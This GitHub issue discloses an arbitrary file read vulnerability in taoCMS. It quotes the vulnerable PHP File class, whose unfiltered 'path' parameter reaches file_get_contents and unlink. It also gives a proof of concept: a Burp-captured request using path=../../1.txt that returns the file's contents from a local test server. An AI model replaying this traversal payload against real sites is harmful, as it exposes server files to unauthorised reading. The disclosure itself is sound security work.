

[New issue](#)[Jump to bottom](#)

# arbitrary file read vulnerability #15

[Open](#) destinypwd opened this issue on Jan 10 · 0 comments

destinypwd commented on Jan 10

## analysis

The location of the vulnerability is line 55 in \taocms\include\Model\File.php and we can see that the path parameter is passed directly to file\_get\_contents function without filtering



```
1 <?php
2 class File{
3     public $table;
4     public $tpl;
5     public $path;
6     public $realpath;
7     function __construct($table,$id=0){
8         $this->table=$table;
9         $this->path=$_REQUEST['path'];
10        $this->realpath=SYS_ROOT.$this->path;
11        $this->tpl=new Template();
12    }
13    function sizecount($size){
14        if($size > 1073741824) {
15            $size = round($size / 1073741824 * 100) / 100 . ' G';
16        } elseif($size > 1048576) {
17            $size = round($size / 1048576 * 100) / 100 . ' M';
18        } elseif($size > 1024) {
19            $size = round($size / 1024 * 100) / 100 . ' K';
20        } else {
21            $size = $size . ' B';
22        }
23        return $size;
24    }
25
26    function lists(){
27        $path=$this->path?str_replace('///','/',$this->path.'/'):'';
28        $fhandle = opendir($this->realpath);
```

```
46 }
47 }
48 unset($dirdb);
49 unset($filedb);
50 closedir($fhandle);
51 sort($dirdata);
52 sort($filedata);
53 include($this->tpl->myTpl('manage' . $this->table));
54 }
55 function edit(){
56     $path=$this->path;
57     $filedata=file_get_contents($this->realpath);
58     include($this->tpl->myTpl('edit' . $this->table));
59 }
60 function del(){
61     $path=$this->realpath;
62     if(!is_writable($path))Base::showmessage('无删除权限');
63     if(is_dir($path)){
64         if(count(scandir($path))>2)
65             Base::showmessage('目录非空，不能删除');
66         rmdir($path);
67     }else{
68         unlink($path);
69     }
70     $info=pathinfo($this->path);
71     Base::showmessage('删除成功', 'admin.php?action=file&ctrl=lists&path='.$info['
72         dirname']);
```

## poc

After login as admin, Enter the file management interface and edit function

taoCMS 网站内容管理系统			
从遗忘admin   找不到支付   管理首页   网站首页   退出			
管理首页	工具	当前位置:	进入 新建: 新建文件 新建文件夹 【后退 前进 刷新】 上传
文章管理	文件名称	修改时间	文件大小 操作
添加文章	admin	2022-01-10 14:14:10	进入 · 删除
管理文章	data	2022-01-10 14:43:21	进入 · 删除
管理栏目	include	2022-01-10 14:14:10	进入 · 删除
采集管理	template	2022-01-10 14:14:10	进入 · 删除
数据管理	wap	2022-01-10 14:14:10	进入 · 删除
执行SQL	.htaccess	2022-01-10 15:07:10	148 B 下载 编辑 删除
备份Sqlite库	LICENSE	2021-03-15 02:49:25	1.05 K 下载 编辑 删除
其他管理	README.md	2021-03-15 02:49:25	2.18 K 下载 编辑 删除
管理评论	api.php	2021-03-15 02:49:25	280 B 下载 编辑 删除
友情链接	config.php	2022-01-10 14:18:26	860 B 下载 编辑 删除
人员管理	favicon.ico	2021-03-15 02:49:25	894 B 下载 编辑 删除
文件管理	index.php	2022-01-10 15:07:24	478 B 下载 编辑 删除
综合设置	install.php	2021-03-15 02:49:25	12.45 K 下载 编辑 删除
导入导出	rss.php	2021-03-15 02:49:25	1.02 K 下载 编辑 删除
网站设置	sitemap.php	2021-03-15 02:49:25	566 B 下载 编辑 删除
网站首页			

Get packets using brup

Any file can be read after changing the path parameter

1 x

2 x

3 x

4 x

5 x

6 x

...

发送

取消

<

>

目标: <http://127.0.0.1>

HTTP/1

请求

Pretty 原始 十六进制 \n

1 GET /taocms/admin/admin.php?action=file&ctrl=download&path=../../1.txt

2 HTTP/1.1

3 Host: 127.0.0.1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7 Accept-Encoding: gzip, deflate

8 Connection: close

9 Referer: http://127.0.0.1/taocms/admin/admin.php?action=filesctrl=lists

10 Cookie: PHPSESSID=a0dc95e709ac739d3d862e8ac2ede6e7

11 Upgrade-Insecure-Requests: 1

12 Sec-Fetch-Dest: frame

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-User: ?1

16

响应

Pretty 原始 十六进制 Render \n

1 HTTP/1.1 200 OK

2 Date: Mon, 10 Jan 2022 07:34:08 GMT

3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a mod\_log\_rotate/2.4.39

4 X-Powered-By: PHP/5.2.17

5 Expires: Thu, 19 Nov 1981 08:52:00 GMT

6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

7 Pragma: no-cache

8 Content-Disposition: attachment; filename="1.txt"

9 Connection: close

10 Content-Type: text/html; charset=utf-8

11 Content-Length: 6

12

13 123456

完成

没有匹配

437字节 | 6毫秒

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant